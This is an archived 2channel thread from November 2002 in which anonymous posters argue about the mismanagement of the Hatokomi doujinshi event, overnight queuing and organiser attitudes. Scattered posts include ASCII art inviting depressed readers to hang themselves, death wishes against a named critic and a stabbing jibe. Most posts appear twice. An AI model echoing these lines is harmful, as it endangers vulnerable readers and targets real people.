同人誌即売会の本来の目的は交流である、とする向きもあるからそれ自体は一概に批判はできないよ
とはいえ、それが目的だとしても「同人誌を介した交流」が目的なのだから
「ペラい本」でいいわけではないね
しっかりと自分の書きたい本を作って、それを皆が持ち寄って、一般参加者にも見てもらって交流を深める
というのが本来の形なんだろうけどなぁ
なんかあまりにも遠すぎる理想論に思えてきたよ･ﾟ･(ﾉД`)･ﾟ･
現実として、大手は本の売り買いだけで一日が終わるし
一般参加者の意識が低下しているのも事実
そして今回のハトコミに象徴されるように、サークルや主催側までもが意識が低下しているとなると……
なんかお先真っ暗って感じ(;´д｀)
同人誌即売会の本来の目的は交流である、とする向きもあるからそれ自体は一概に批判はできないよ
とはいえ、それが目的だとしても「同人誌を介した交流」が目的なのだから
「ペラい本」でいいわけではないね
しっかりと自分の書きたい本を作って、それを皆が持ち寄って、一般参加者にも見てもらって交流を深める
というのが本来の形なんだろうけどなぁ
なんかあまりにも遠すぎる理想論に思えてきたよ･ﾟ･(ﾉД`)･ﾟ･
現実として、大手は本の売り買いだけで一日が終わるし
一般参加者の意識が低下しているのも事実
そして今回のハトコミに象徴されるように、サークルや主催側までもが意識が低下しているとなると……
なんかお先真っ暗って感じ(;´д｀)
320 ：名無しさん＠どーでもいいことだが。：02/11/22 23:25 ID:uGFWbK8H
>>319
それが私達の望んだ世界となるとねえ・・・。
それが私達の望んだ世界となるとねえ・・・。
321 ：名無しさん＠どーでもいいことだが。：02/11/23 00:16 ID:bIkeJted
ペラ本＝安い本は嬉しいけどね。
322 ：名無しさん＠どーでもいいことだが。：02/11/23 02:02 ID:+jbp0b7l
良心的なサークルは323劣化絵など書きません
323に憧れる香具師が
323風ラクガキぺらエロ同人誌を作るのは
自明の理
323に憧れる香具師が
323風ラクガキぺらエロ同人誌を作るのは
自明の理
323 ：名無しさん＠どーでもいいことだが。：02/11/23 02:59 ID:OShxJHXz
では323ゲットしちゃる
324 ：名無しさん＠どーでもいいことだが。：02/11/23 07:45 ID:npyOnDti
挨拶本だけでもつくらなきゃ、とかいって８Pくらいの鉛筆コピーを作る奴が
まわりに結構いるので萎える。
まわりに結構いるので萎える。
∧||∧
（ ⌒ ヽ ハトフルで鬱になった方
∪ ﾉ まったりと首を吊ってみませんか
∪∪
２ｃｈ全AA人気トーナメント 投票スレッド-062
http://live.2ch.net/test/read.cgi/vote/1037881094/
（ ⌒ ヽ ハトフルで鬱になった方
∪ ﾉ まったりと首を吊ってみませんか
∪∪
２ｃｈ全AA人気トーナメント 投票スレッド-062
http://live.2ch.net/test/read.cgi/vote/1037881094/
326 ：名無しさん＠どーでもいいことだが。：02/11/23 11:24 ID:eSsm1mKg
ハトコミ主催者もM崎もイワエモンの発言も結局一般参加の方は向いてくれてなかった。
イベント主催・運営側ってのは今までずっとサークル参加も一般参加も
同じ「参加者」という錦の御旗を掲げてたけれど、
内実「こっち側」と「あっち側」っていう認識でしかなかったのかと。
ハトコミに一般参加して失望もしたけどむしろ「あぁやっぱりな」って思いましたね。
最近イベントに行くたびに感じてた違和感というか心に引っ掛かってた物が
あのイベントでハッキリ気が付きました。
本当はこんなことは気が付きたくはなかったですけど（ｗ
全てのイベントがそうだとは思いたくありませんが、自分はもう以前のような気持ちで
イベントに「参加」することはないと思います。
イベント主催・運営側ってのは今までずっとサークル参加も一般参加も
同じ「参加者」という錦の御旗を掲げてたけれど、
内実「こっち側」と「あっち側」っていう認識でしかなかったのかと。
ハトコミに一般参加して失望もしたけどむしろ「あぁやっぱりな」って思いましたね。
最近イベントに行くたびに感じてた違和感というか心に引っ掛かってた物が
あのイベントでハッキリ気が付きました。
本当はこんなことは気が付きたくはなかったですけど（ｗ
全てのイベントがそうだとは思いたくありませんが、自分はもう以前のような気持ちで
イベントに「参加」することはないと思います。
327 ：名無しさん＠どーでもいいことだが。：02/11/23 11:59 ID:wnKuOZza
よくよく考えればハトコミに関してはそこで炙り出されたであろう問題点に
いろいろな面から見ようとせず表面上主催を叩いて実際には反省も
次にあった場合の防止策の提案もしていないし、
（同じ池袋のレヴォやサンクリ、ならびに都産貿のイベントでは
そこが出来てたと思う、良いかどうかは別として）
三崎やイワエモンの意見に代表されるように自分の事は棚上げして
問題を一般参加者や参加サークルになすりつけようとする、
今後こう言う問題は勢いを増して広がっていきそうだけどな、
ハトコミはその火種に過ぎないと言うことで。
2ちゃんサイドでハトコミクラスのイベントを行ってハトコミのやったことと
逆のことをかまして（徹夜は徹底排除、大手サークルは一般参加者の
追加注文に応じる(後日郵送）、チケット入場者には早期に販売しない、
細かいことはサンクリ準拠）成功すれば少しは状況は変わるんでないの？。
まあ、2ちゃんのことだから招待しても来るかどうか自体疑問だけどな・・・。
いろいろな面から見ようとせず表面上主催を叩いて実際には反省も
次にあった場合の防止策の提案もしていないし、
（同じ池袋のレヴォやサンクリ、ならびに都産貿のイベントでは
そこが出来てたと思う、良いかどうかは別として）
三崎やイワエモンの意見に代表されるように自分の事は棚上げして
問題を一般参加者や参加サークルになすりつけようとする、
今後こう言う問題は勢いを増して広がっていきそうだけどな、
ハトコミはその火種に過ぎないと言うことで。
2ちゃんサイドでハトコミクラスのイベントを行ってハトコミのやったことと
逆のことをかまして（徹夜は徹底排除、大手サークルは一般参加者の
追加注文に応じる(後日郵送）、チケット入場者には早期に販売しない、
細かいことはサンクリ準拠）成功すれば少しは状況は変わるんでないの？。
まあ、2ちゃんのことだから招待しても来るかどうか自体疑問だけどな・・・。
328 ：名無しさん＠どーでもいいことだが。：02/11/23 12:06 ID:D8JE8iuh
金も力も人脈も実行力もない人任せで夢見がちの名無しさんが2局で吠えてても、
なにもかわらんよ。
なにもかわらんよ。
329 ：名無しさん＠どーでもいいことだが。：02/11/23 12:14 ID:wnKuOZza
>>328
じゃあ、江ノ島ゴミ拾いオフとか、自転車捜索の話はどう説明しろと？
じゃあ、江ノ島ゴミ拾いオフとか、自転車捜索の話はどう説明しろと？
330 ：名無しさん＠どーでもいいことだが。：02/11/23 12:25 ID:uHNdNoOL
331 ：名無しさん＠どーでもいいことだが。：02/11/23 12:27 ID:D8JE8iuh
じゃあ、やってみせてくれ。
漏れも現状に不満を持っている。
協賛サークルの不買運動くらいはしようと思っていたが、
というかもともと買ってすらいなかったが。
ハトコミクラスのイベントを2局でやれるっつーなら、協力するぜ。
っつっても、金も人脈も実行力もないから、できることは限られるけどね。
さ、なにか、してみせてちょーだい。
漏れも現状に不満を持っている。
協賛サークルの不買運動くらいはしようと思っていたが、
というかもともと買ってすらいなかったが。
ハトコミクラスのイベントを2局でやれるっつーなら、協力するぜ。
っつっても、金も人脈も実行力もないから、できることは限られるけどね。
さ、なにか、してみせてちょーだい。
332 ：名無しさん＠どーでもいいことだが。：02/11/23 12:36 ID:8N/asr0t
333 ：名無しさん＠どーでもいいことだが。：02/11/23 13:38 ID:qHkIrH43
>327-331
どうせならオマエモナ準備会をアドバイザーとしてこのスレに招聘したらどうよ？
どうせならオマエモナ準備会をアドバイザーとしてこのスレに招聘したらどうよ？
334 ：名無しさん＠どーでもいいことだが。：02/11/23 13:48 ID:rMcqEXjp
>大手サークルは一般参加者の追加注文に応じる(後日郵送）
ここにうっすら勘違いを感じる。
ここにうっすら勘違いを感じる。
335 ：名無しさん＠どーでもいいことだが。：02/11/23 17:34 ID:3sqxveau
なんか、えらいイラついてるぜ？ ＞ID:D8JE8iuh
敵ｗにイラつくあまり味方ｗにも噛みついてやんの。
敵ｗにイラつくあまり味方ｗにも噛みついてやんの。
336 ：名無しさん＠どーでもいいことだが。：02/11/23 17:52 ID:fOFpzebi
ハトコミって、RAGFESみたいに列ある程度作ってから販売すれば
それだけでもかなりマシになったと思うんだけどな。
みつみんとこみたいに。もともとグッズ、みつみ、jokerあたりは
隔離位置に並べることは決まってたんだから、中の人が多すぎて処理できなくなる
からこの方法は取れないってことはないだろうし。
少なくとも「最初のフリータイム15分」はどんな理由があっても
釈明できたもんじゃないと思うけどね。
結局これでも7時ぐらいにきた人は開始と同時には買えないが仕方あるまい。
改善はされる。
ああ、結局guestに買わせるための意図的なものだったのかな、あれは･･･
まあこれを三崎なりに「総括」すると
「三崎氏ね」ってこった（激藁
それだけでもかなりマシになったと思うんだけどな。
みつみんとこみたいに。もともとグッズ、みつみ、jokerあたりは
隔離位置に並べることは決まってたんだから、中の人が多すぎて処理できなくなる
からこの方法は取れないってことはないだろうし。
少なくとも「最初のフリータイム15分」はどんな理由があっても
釈明できたもんじゃないと思うけどね。
結局これでも7時ぐらいにきた人は開始と同時には買えないが仕方あるまい。
改善はされる。
ああ、結局guestに買わせるための意図的なものだったのかな、あれは･･･
まあこれを三崎なりに「総括」すると
「三崎氏ね」ってこった（激藁
337 ：名無しさん＠どーでもいいことだが。：02/11/23 18:42 ID:D8JE8iuh
338 ：名無しさん＠どーでもいいことだが。：02/11/23 19:44 ID:FrsIiRgA
Ｍ崎たんのトコ誰か書き込んだのか…
どう反応する事やら
どう反応する事やら
339 ：名無しさん＠どーでもいいことだが。：02/11/23 19:48 ID:IxFUhtCD
>>337
王蛇かよｗ
王蛇かよｗ
340 ：萌える！名無しさん。：02/11/23 19:55 ID:Mq/7O+PK
これが先例になって、今後の即売会にはサークル買い物タイムが
設定されたらどうしよう・・・・（ｶﾞｸﾌﾞﾙ）。
大阪のほうの即売会にはサークル買い物タイムが設定されてた様な
話を聞きましたが、真相はどない？
設定されたらどうしよう・・・・（ｶﾞｸﾌﾞﾙ）。
大阪のほうの即売会にはサークル買い物タイムが設定されてた様な
話を聞きましたが、真相はどない？
341 ：名無しさん＠どーでもいいことだが。：02/11/23 20:00 ID:q1/OQJdM
もしかしてレヴォ32のカタログに載ってる、「キクコが行く」は
サークルタイムが云々と言ってるが、ハトコミのことを予言してたのか・・・？
サークルタイムが云々と言ってるが、ハトコミのことを予言してたのか・・・？
342 ：名無しさん＠どーでもいいことだが。：02/11/23 20:05 ID:SJHdT+Tk
>340
なんかのオンリーであった気がする。
けど、その頃のオンリーは今よりﾏﾀｰﾘだったから、
何の問題も無く終わったはず。
なんかのオンリーであった気がする。
けど、その頃のオンリーは今よりﾏﾀｰﾘだったから、
何の問題も無く終わったはず。
343 ：名無しさん＠どーでもいいことだが。：02/11/23 20:52 ID:eBKNdbks
>>340
東京だけど去年のガンパレオンリーでもあったような。
しかもぼるぜとてくめく、うたたねetcがいたイベントで。
別に混乱は起きなくて一般でもたいてい買い物ができた上に
ゆっくり回れたが、それは大手の販売数が多かった上に
わりとスタッフがしっかりしてたので。少なくともハトコミよりは。
・・・ついでにＺＱＮもそのイベント出てたけど、てくめくやづらの列を横目に
空間ができるというすばらしい配置。
しかもそのイベントのスレでZQUがスペースで
「売れるためにはちゃん様にかかせればいいんだよ」発言をしてたとか
書かれていたま。
東京だけど去年のガンパレオンリーでもあったような。
しかもぼるぜとてくめく、うたたねetcがいたイベントで。
別に混乱は起きなくて一般でもたいてい買い物ができた上に
ゆっくり回れたが、それは大手の販売数が多かった上に
わりとスタッフがしっかりしてたので。少なくともハトコミよりは。
・・・ついでにＺＱＮもそのイベント出てたけど、てくめくやづらの列を横目に
空間ができるというすばらしい配置。
しかもそのイベントのスレでZQUがスペースで
「売れるためにはちゃん様にかかせればいいんだよ」発言をしてたとか
書かれていたま。
344 ：名無しさん＠どーでもいいことだが。：02/11/23 21:19 ID:X5wlotfL
345 ：名無しさん＠どーでもいいことだが。：02/11/23 21:33 ID:kz3YlgIs
>337
一つ（しかも人間としてかなり重要なモノ）を犠牲にする勇気を持たないオタクに、ハトコミは来て欲しく無いかな…
って考えやがった知人のﾔｼは当日ﾎｸﾎｸ顔ですた(；´Д`)ﾌﾞﾁｺﾛｼﾃｲｲﾃﾞｽｶ?
一つ（しかも人間としてかなり重要なモノ）を犠牲にする勇気を持たないオタクに、ハトコミは来て欲しく無いかな…
って考えやがった知人のﾔｼは当日ﾎｸﾎｸ顔ですた(；´Д`)ﾌﾞﾁｺﾛｼﾃｲｲﾃﾞｽｶ?
346 ：名無しさん＠どーでもいいことだが。：02/11/23 22:27 ID:twQOgMLU
347 ：名無しさん＠どーでもいいことだが。：02/11/23 22:37 ID:Og1kdkpR
>343
それって東京大演習か？
あれはアレで主催は実は・・・なんだが。
サークル買い物タイムが正式にタイムテーブルにあるのは
名古屋のメンコミじゃなかったかと。
東京だとサークル買い物タイムじゃなくて
サークルオンリーのお茶会になる罠。
それって東京大演習か？
あれはアレで主催は実は・・・なんだが。
サークル買い物タイムが正式にタイムテーブルにあるのは
名古屋のメンコミじゃなかったかと。
東京だとサークル買い物タイムじゃなくて
サークルオンリーのお茶会になる罠。
348 ：名無しさん＠どーでもいいことだが。：02/11/23 23:48 ID:GgDhhKu+
でもサークルタイムを導入するってことは、ダミーサークルを容認してしまう諸刃の剣でわ？
349 ：名無しさん＠どーでもいいことだが。：02/11/24 00:28 ID:MmM/SUXs
疥癬だけが必死になって考えてもしょうがないよ(w
実際に売れているサークルから賛同者が出なけりゃそれまでのこと。
実際に売れているサークルから賛同者が出なけりゃそれまでのこと。
350 ：名無しさん＠どーでもいいことだが。：02/11/24 00:36 ID:1PeRdrrf
メソコミは一般でも余裕だから問題なしｗ
351 ：名無しさん＠どーでもいいことだが。：02/11/24 01:48 ID:mbNUvPtM
>348
だよね
最初レヴォ32のカタログ見たときに「あれ？」と思いつつもそのままスルーしてたが
今回の件ではっきりした
さなづら氏の中で「徹夜組」は殺したいほど邪魔な存在だけど
「ダミーサークル」「チケット組」はそれほどでもないって事
ま、イベンター側からすれば、周辺住民などに迷惑をかけて
イベント開催そのものに支障をもたらす徹夜組と
とりあえずイベント外の人達には迷惑をかけないチケ組とで比較すると
後者は全然問題ないわけだわな
「チケ組がループして本が行き渡らない」なんてのも
主催者側はスタッフの取り置き枠を拡大すれば痛くも痒くもないんだし
だよね
最初レヴォ32のカタログ見たときに「あれ？」と思いつつもそのままスルーしてたが
今回の件ではっきりした
さなづら氏の中で「徹夜組」は殺したいほど邪魔な存在だけど
「ダミーサークル」「チケット組」はそれほどでもないって事
ま、イベンター側からすれば、周辺住民などに迷惑をかけて
イベント開催そのものに支障をもたらす徹夜組と
とりあえずイベント外の人達には迷惑をかけないチケ組とで比較すると
後者は全然問題ないわけだわな
「チケ組がループして本が行き渡らない」なんてのも
主催者側はスタッフの取り置き枠を拡大すれば痛くも痒くもないんだし
352 ：名無しさん＠どーでもいいことだが。：02/11/24 02:21 ID:YABg3jQp
レヴォ３２カタログのキクコ漫画に描いてある事は、さなづらの意見というより
レヴォスタッフの大半がああいう考えなんでしょう。
で、それを実行に移してみたのがハトコミと。
恐らく効果的な徹夜対策を取れなかったので、徹夜ペナの代替案として
前々から考えていたサークル参加者のバーストタイムを導入してみた。
これが真相では？
レヴォでそれを実行するにはこれまでのやり方もあるし反発が強すぎる。
ハトコミといういい実験場所があるのでそこで試しにやってみよう、と。
レヴォスタッフの大半がああいう考えなんでしょう。
で、それを実行に移してみたのがハトコミと。
恐らく効果的な徹夜対策を取れなかったので、徹夜ペナの代替案として
前々から考えていたサークル参加者のバーストタイムを導入してみた。
これが真相では？
レヴォでそれを実行するにはこれまでのやり方もあるし反発が強すぎる。
ハトコミといういい実験場所があるのでそこで試しにやってみよう、と。
353 ：名無しさん＠どーでもいいことだが。：02/11/24 02:27 ID:qkSR+oWJ
あるいは次回のレヴォの演習の可能性もあるよな。真意は定かじゃないけど。
354 ：名無しさん＠どーでもいいことだが。：02/11/24 02:32 ID:WUp8rE9r
>>352
推察と状況証拠で、真相とか言うなよｗ
推察と状況証拠で、真相とか言うなよｗ
355 ：名無しさん＠どーでもいいことだが。：02/11/24 02:56 ID:MKZZ7EHF
つーか、どう考えたって一番の癌は徹夜組だと思うけど。
スタッフとサークル、一部を除いた一般にとっては、だけど。
スタッフとサークル、一部を除いた一般にとっては、だけど。
356 ：名無しさん＠どーでもいいことだが。：02/11/24 03:10 ID:qkSR+oWJ
>355
それは徹夜組以外の奴、ってことでは？（汗）
つまり当人達以外にとっては…
それは徹夜組以外の奴、ってことでは？（汗）
つまり当人達以外にとっては…
357 ：名無しさん＠どーでもいいことだが。：02/11/24 09:55 ID:YABg3jQp
スタッフもM崎も徹夜対策がリスキーリスキーって決まり文句のように
言ってそれをエクスキューズにしてるんだが、じゃあ具体的にどうリスキーなんだ？
徹対で実際に揉め事とかになった前例ある？
言ってそれをエクスキューズにしてるんだが、じゃあ具体的にどうリスキーなんだ？
徹対で実際に揉め事とかになった前例ある？
358 ：名無しさん＠どーでもいいことだが。：02/11/24 10:03 ID:cRfRkLaF
人が集まるイベントで徹夜組が出るのは当たり前ー。
どうも同人即売会はその認識がないのか、誤魔化してるだけなのか。
イベントは開く、でも癌は出るなってそりゃ無茶だわ。
どうも同人即売会はその認識がないのか、誤魔化してるだけなのか。
イベントは開く、でも癌は出るなってそりゃ無茶だわ。
359 ：名無しさん＠どーでもいいことだが。：02/11/24 10:53 ID:qkSR+oWJ
スタッフでも何でも無いので、妄想としてだが。
徹夜ペナｹﾃｰｲ→中のﾔｼどもがなんとかして横から入ったり一般列に紛れ込んだりする→スタッフ誘導するも列崩壊（ヲタ共の暴走で）
とか思うけど、間違いかな？
実際徹夜ペナの列がボロボロに歯抜け状態になってるの見たことあるし…所詮妄想だけど。
徹夜ペナｹﾃｰｲ→中のﾔｼどもがなんとかして横から入ったり一般列に紛れ込んだりする→スタッフ誘導するも列崩壊（ヲタ共の暴走で）
とか思うけど、間違いかな？
実際徹夜ペナの列がボロボロに歯抜け状態になってるの見たことあるし…所詮妄想だけど。
360 ：名無しさん＠どーでもいいことだが。：02/11/24 11:03 ID:mbNUvPtM
>354
さすがに最初からサークルお買い物タイムを作ろうなんて事は思ってなかっただろうし
単に結果としてああなっただけだとは思うけど
ハトコミスタッフ（≒レヴォスタッフ）にとっては「結果的にお買い物タイムとなってしまう」
という事に対する抵抗感があんまりない、ってことだろうね
確かにサークル同士のお買い物なら人数も少ないし「自分もサークル」という
意識があるから大混乱はまず起きないだろうし
さっさと本がはけてしまった方がイベントとしては運営がやりやすい
徹夜組のメリットをなくすことはできるし
ダミーサークルの問題はあるが>351上記のように
それは*イベント主催者側にとっては*弊害はない
主催者側にとって都合のいいイベントなんてのはいくらでもできる
だからといってホントにそんなイベントをやってしまっていいのかというと……
（ハトコミでやってしまったわけだが）
一般の意識の低下を鑑みて、そうしたいと思ってしまうであろう事は理解できるけど
だからといって主催側の意識まで低下していいという理由にはならんわな
さすがに最初からサークルお買い物タイムを作ろうなんて事は思ってなかっただろうし
単に結果としてああなっただけだとは思うけど
ハトコミスタッフ（≒レヴォスタッフ）にとっては「結果的にお買い物タイムとなってしまう」
という事に対する抵抗感があんまりない、ってことだろうね
確かにサークル同士のお買い物なら人数も少ないし「自分もサークル」という
意識があるから大混乱はまず起きないだろうし
さっさと本がはけてしまった方がイベントとしては運営がやりやすい
徹夜組のメリットをなくすことはできるし
ダミーサークルの問題はあるが>351上記のように
それは*イベント主催者側にとっては*弊害はない
主催者側にとって都合のいいイベントなんてのはいくらでもできる
だからといってホントにそんなイベントをやってしまっていいのかというと……
（ハトコミでやってしまったわけだが）
一般の意識の低下を鑑みて、そうしたいと思ってしまうであろう事は理解できるけど
だからといって主催側の意識まで低下していいという理由にはならんわな
クズに屑本売ってるからこういうことになる。
362 ：名無しさん＠どーでもいいことだが。：02/11/24 15:10 ID:Sck58Jni
>>359
結局はそういうことになるんだが、スタッフの人数がある程度確保できてたり
収容スペースが作れていれば、ある程度なんとかなる。
だからコミケは徹ペナ非常に難しい。収容スペース無いからね。
少なくともハトコミは、あれだけ豪華なサークルを集め
十分な客入りを確保しながら、それを捌ける人が足らなかった。
この時点でイベンターとして論外ですよ。俺らから入場料取ってるんだから
金使ってでも人は確保しろっての。
結局はそういうことになるんだが、スタッフの人数がある程度確保できてたり
収容スペースが作れていれば、ある程度なんとかなる。
だからコミケは徹ペナ非常に難しい。収容スペース無いからね。
少なくともハトコミは、あれだけ豪華なサークルを集め
十分な客入りを確保しながら、それを捌ける人が足らなかった。
この時点でイベンターとして論外ですよ。俺らから入場料取ってるんだから
金使ってでも人は確保しろっての。
363 ：名無しさん＠どーでもいいことだが。：02/11/24 15:29 ID:kyWAwFk6
今日ﾊﾄｺﾐ2開催の夢を見た…鬱打
364 ：名無しさん＠どーでもいいことだが。：02/11/24 22:14 ID:PxT1mhgr
哲也組の場合
祭り気分で舞い上がった輩が度を越して近隣住民に迷惑をかけかねない事と
（実際コミケカタログにもこのことが書かれている）
何かしらあった場合暴動を起こされると主催者側ですら収拾がつかなくなること、
あとは何も知らないで哲也に来た人たちの安全面での不安かね(自業自得だけど）、
同人自体マイナーなジャンルで規模の大きいコミケでも隔離施設があった
晴海時代とかだったらそのまままでも問題なかったんだが、
同人と言うジャンルが一般化してしかも転売目的の連中が増えてる状況下で
これ以上哲也組を容認すると会場の確保以前に同人即売会の存在意義すら
危うくなる危険性があるわけで
（実際転売目的の輩が増えると本来手にとってもらいたい人まで
行き渡らなくなってしまい作家としても読み手としてもモチベーションが
下がってしまって結果として同人文化自体が衰退する、金に目のくらんだ
または祭りといって逃げるケダモノにはそんな考えまで回らないだろうが）
そういう意味では甘い顔して徹夜組をつけ上がらせるよりここは辛いかも
しれないけど毅然かつ断固とした態度で臨むべきだと漏れは思うんだがどうよ？。
祭り気分で舞い上がった輩が度を越して近隣住民に迷惑をかけかねない事と
（実際コミケカタログにもこのことが書かれている）
何かしらあった場合暴動を起こされると主催者側ですら収拾がつかなくなること、
あとは何も知らないで哲也に来た人たちの安全面での不安かね(自業自得だけど）、
同人自体マイナーなジャンルで規模の大きいコミケでも隔離施設があった
晴海時代とかだったらそのまままでも問題なかったんだが、
同人と言うジャンルが一般化してしかも転売目的の連中が増えてる状況下で
これ以上哲也組を容認すると会場の確保以前に同人即売会の存在意義すら
危うくなる危険性があるわけで
（実際転売目的の輩が増えると本来手にとってもらいたい人まで
行き渡らなくなってしまい作家としても読み手としてもモチベーションが
下がってしまって結果として同人文化自体が衰退する、金に目のくらんだ
または祭りといって逃げるケダモノにはそんな考えまで回らないだろうが）
そういう意味では甘い顔して徹夜組をつけ上がらせるよりここは辛いかも
しれないけど毅然かつ断固とした態度で臨むべきだと漏れは思うんだがどうよ？。
365 ：名無しさん＠どーでもいいことだが。：02/11/24 22:49 ID:WCnn0eM8
366 ：名無しさん＠どーでもいいことだが。：02/11/24 22:52 ID:MmM/SUXs
まぁ所詮口だけ達者な疥癬の言う事ですから。
367 ：名無しさん＠どーでもいいことだが。：02/11/24 22:55 ID:PxT1mhgr
>>365-366
こういう輩ほど手遅れになってから慌てふためくんだろーねー
こういう輩ほど手遅れになってから慌てふためくんだろーねー
368 ：名無しさん＠どーでもいいことだが。：02/11/24 22:56 ID:W/QFgQ9j
暴動とか起きて潰れりゃいいのに
369 ：名無しさん＠どーでもいいことだが。：02/11/24 23:40 ID:cD8V0Hb5
夜道で指す
370 ：名無しさん＠どーでもいいことだが。：02/11/25 00:09 ID:4nBmud7L
評論家センセは言い放しで済むんだからお気楽で良いやね（ｗ。
大体シロウトのやることに「評論」なんて必要かぁ？そこまでして
偉そうにしたいかね、三崎ﾀｿ。
大体シロウトのやることに「評論」なんて必要かぁ？そこまでして
偉そうにしたいかね、三崎ﾀｿ。
371 ：名無しさん＠どーでもいいことだが。：02/11/25 00:36 ID:yaxJNt/s
ここでの主張を見ている限り、一般参加者とスタッフ・サークル側との意見の相違はかなり深刻だな・・・
どっちが正しいのかは漏れにはわからん。
一般参加者がいなくては同人誌即売会が開けないのか？
同人誌があくまでのアマチュア（同人誌の発行で生活をしていない）のものであればサークルさえいれば可能なんだよね・・・
サークルが作り手であり、買い手、そしてサークル自身が運営するという環境ならば。
まあ、現状の同人誌界ではあり得ない話。
三者がそれぞれを尊重しあって開催し続けられれば幸せなんだが・・・。
民度が低いというのが結論なんだろうな、今は。
どっちが正しいのかは漏れにはわからん。
一般参加者がいなくては同人誌即売会が開けないのか？
同人誌があくまでのアマチュア（同人誌の発行で生活をしていない）のものであればサークルさえいれば可能なんだよね・・・
サークルが作り手であり、買い手、そしてサークル自身が運営するという環境ならば。
まあ、現状の同人誌界ではあり得ない話。
三者がそれぞれを尊重しあって開催し続けられれば幸せなんだが・・・。
民度が低いというのが結論なんだろうな、今は。
372 ：名無しさん＠どーでもいいことだが。：02/11/25 00:42 ID:Fg962kH/
一般を必要無い要素としてバッサリ切った場合、
実はサークルの民度のとてつもない下落という問題点が、
コミケの発足時と比べてあると思われ。
実はサークルの民度のとてつもない下落という問題点が、
コミケの発足時と比べてあると思われ。
373 ：名無しさん＠どーでもいいことだが。：02/11/25 01:33 ID:pDiryXlv
俺はハトコミで一般だったけどコミケはｽﾀｰﾌです。
数年ｽﾀｰﾌやってますが所詮下っ端です。
感じてることはどっちかというと一般参加者よりですね。
ｽﾀｰﾌの意見といってますが、基本的にはごくごくごく一部の上層部だけだと思いますﾖ。
数年ｽﾀｰﾌやってますが所詮下っ端です。
感じてることはどっちかというと一般参加者よりですね。
ｽﾀｰﾌの意見といってますが、基本的にはごくごくごく一部の上層部だけだと思いますﾖ。
374 ：名無しさん＠どーでもいいことだが。：02/11/25 09:30 ID:hslt881I
兵隊と上層部で見解の相違があったって現実問題として
上層部の意向に疑問を感じつつ付き従ってるんだから
上と下で意見が違うってまだ無視していいレベルの問題なのでは？
兵隊が反旗を翻してストに入って上層部がスト破りして警察介入とかなら別だが。
上層部の意向に疑問を感じつつ付き従ってるんだから
上と下で意見が違うってまだ無視していいレベルの問題なのでは？
兵隊が反旗を翻してストに入って上層部がスト破りして警察介入とかなら別だが。
375 ：名無しさん＠どーでもいいことだが。：02/11/25 11:07 ID:JmXyDKP+
>374
スタッフがそんなことするわけないじゃん。
一般が暴動起こすわけないのと同じく。
それは別に臆病者とか口だけ達者とかいうことではなく、
イベントを潰したくないんだよ。
本を作って、買って、知り合いに会って…
そういう場を潰したくないんだよ。
憎むべきはそういう良心を逆手に取って
イベントを私する奴輩である。
スタッフがそんなことするわけないじゃん。
一般が暴動起こすわけないのと同じく。
それは別に臆病者とか口だけ達者とかいうことではなく、
イベントを潰したくないんだよ。
本を作って、買って、知り合いに会って…
そういう場を潰したくないんだよ。
憎むべきはそういう良心を逆手に取って
イベントを私する奴輩である。
376 ：名無しさん＠どーでもいいことだが。：02/11/25 12:38 ID:pweb/kTI
377 ：名無しさん＠どーでもいいことだが。：02/11/25 13:23 ID:pDiryXlv
さっきカキコしたｽﾀｰﾌですが。
まあ俺はああいうごちゃごちゃした、サークル担当とか、徹夜の対策をするとか
そういう場所にいないもので･･･具体的な場所はコメントできませんが。
もちろん諸所の問題困ったものですが、自分のところも忙しいし、
下っ端なので他の問題に手を出せるような状況ではございませぬ。
「徹夜自体をどう処理するか」なんて本当に上の人の一声だけだと思うんですがね。
列整理とかしてるやつが独断で決められるわけないし。
列整理の方の知人はいますが、あそこはｽﾀｰﾌの中でも間違いなくトップクラスに忙しく
＆体力を消耗する場所で、与えられた仕事をこなすだけで精一杯でしょう･･･
結局エサが撒かれてるからついてくやつはついてくんですよね。俺も少しはそういうのあるし。
ただそうじゃないｽﾀｰﾌさんも間違いなく、いますよ。さっきあげた友人とかは
もはや本には興味がないけど列は整理したいとかいう奇特な奴なんで。
それが一番問題だったりするけど、金を使わないで人をひっぱるには
これしか方法がないのも現状。
結局貧乏が悪いって結論になるのかな？（笑）
まあ俺はああいうごちゃごちゃした、サークル担当とか、徹夜の対策をするとか
そういう場所にいないもので･･･具体的な場所はコメントできませんが。
もちろん諸所の問題困ったものですが、自分のところも忙しいし、
下っ端なので他の問題に手を出せるような状況ではございませぬ。
「徹夜自体をどう処理するか」なんて本当に上の人の一声だけだと思うんですがね。
列整理とかしてるやつが独断で決められるわけないし。
列整理の方の知人はいますが、あそこはｽﾀｰﾌの中でも間違いなくトップクラスに忙しく
＆体力を消耗する場所で、与えられた仕事をこなすだけで精一杯でしょう･･･
結局エサが撒かれてるからついてくやつはついてくんですよね。俺も少しはそういうのあるし。
ただそうじゃないｽﾀｰﾌさんも間違いなく、いますよ。さっきあげた友人とかは
もはや本には興味がないけど列は整理したいとかいう奇特な奴なんで。
それが一番問題だったりするけど、金を使わないで人をひっぱるには
これしか方法がないのも現状。
結局貧乏が悪いって結論になるのかな？（笑）
378 ：名無しさん＠どーでもいいことだが。：02/11/25 13:35 ID:E1raCXNP
まああんだけの規模の上と下で意見が
一致するってことはないわな。
したらかえって問題なような気もするし。
コミケに不満を抱いたスタッフさん達が、
コミケから分離して独自に即売会始めたのが
クリエイション、でいいんだっけ？
一致するってことはないわな。
したらかえって問題なような気もするし。
コミケに不満を抱いたスタッフさん達が、
コミケから分離して独自に即売会始めたのが
クリエイション、でいいんだっけ？
379 ：名無しさん＠どーでもいいことだが。：02/11/25 13:38 ID:5f/97oLj
380 ：名無しさん＠どーでもいいことだが。：02/11/25 14:00 ID:AQEjWYwS
>378
全然違う（藁
初期クリエイションのポスターには
協賛でコミケがあった筈
しかも当時から大半のスタッフはコミケと掛け持ち。
ましてクリエイションの株主は・・・
あれはコミケに不満ではなく
コミケで出来なくなった事を取り戻すが主題だったはず。
全然違う（藁
初期クリエイションのポスターには
協賛でコミケがあった筈
しかも当時から大半のスタッフはコミケと掛け持ち。
ましてクリエイションの株主は・・・
あれはコミケに不満ではなく
コミケで出来なくなった事を取り戻すが主題だったはず。
381 ：名無しさん＠どーでもいいことだが。：02/11/25 14:08 ID:/DNJG7YU
クリエイションはコミケから分離じゃなくて赤豚から分離だな。
主題があったのかどうかはしらんが。
主題があったのかどうかはしらんが。
382 ：名無しさん＠どーでもいいことだが。：02/11/25 14:46 ID:WlfWefRS
これだけ反感を持ってる奴が多いなら上層部の腐った人間に対する無血革命だって成功しそうだが。
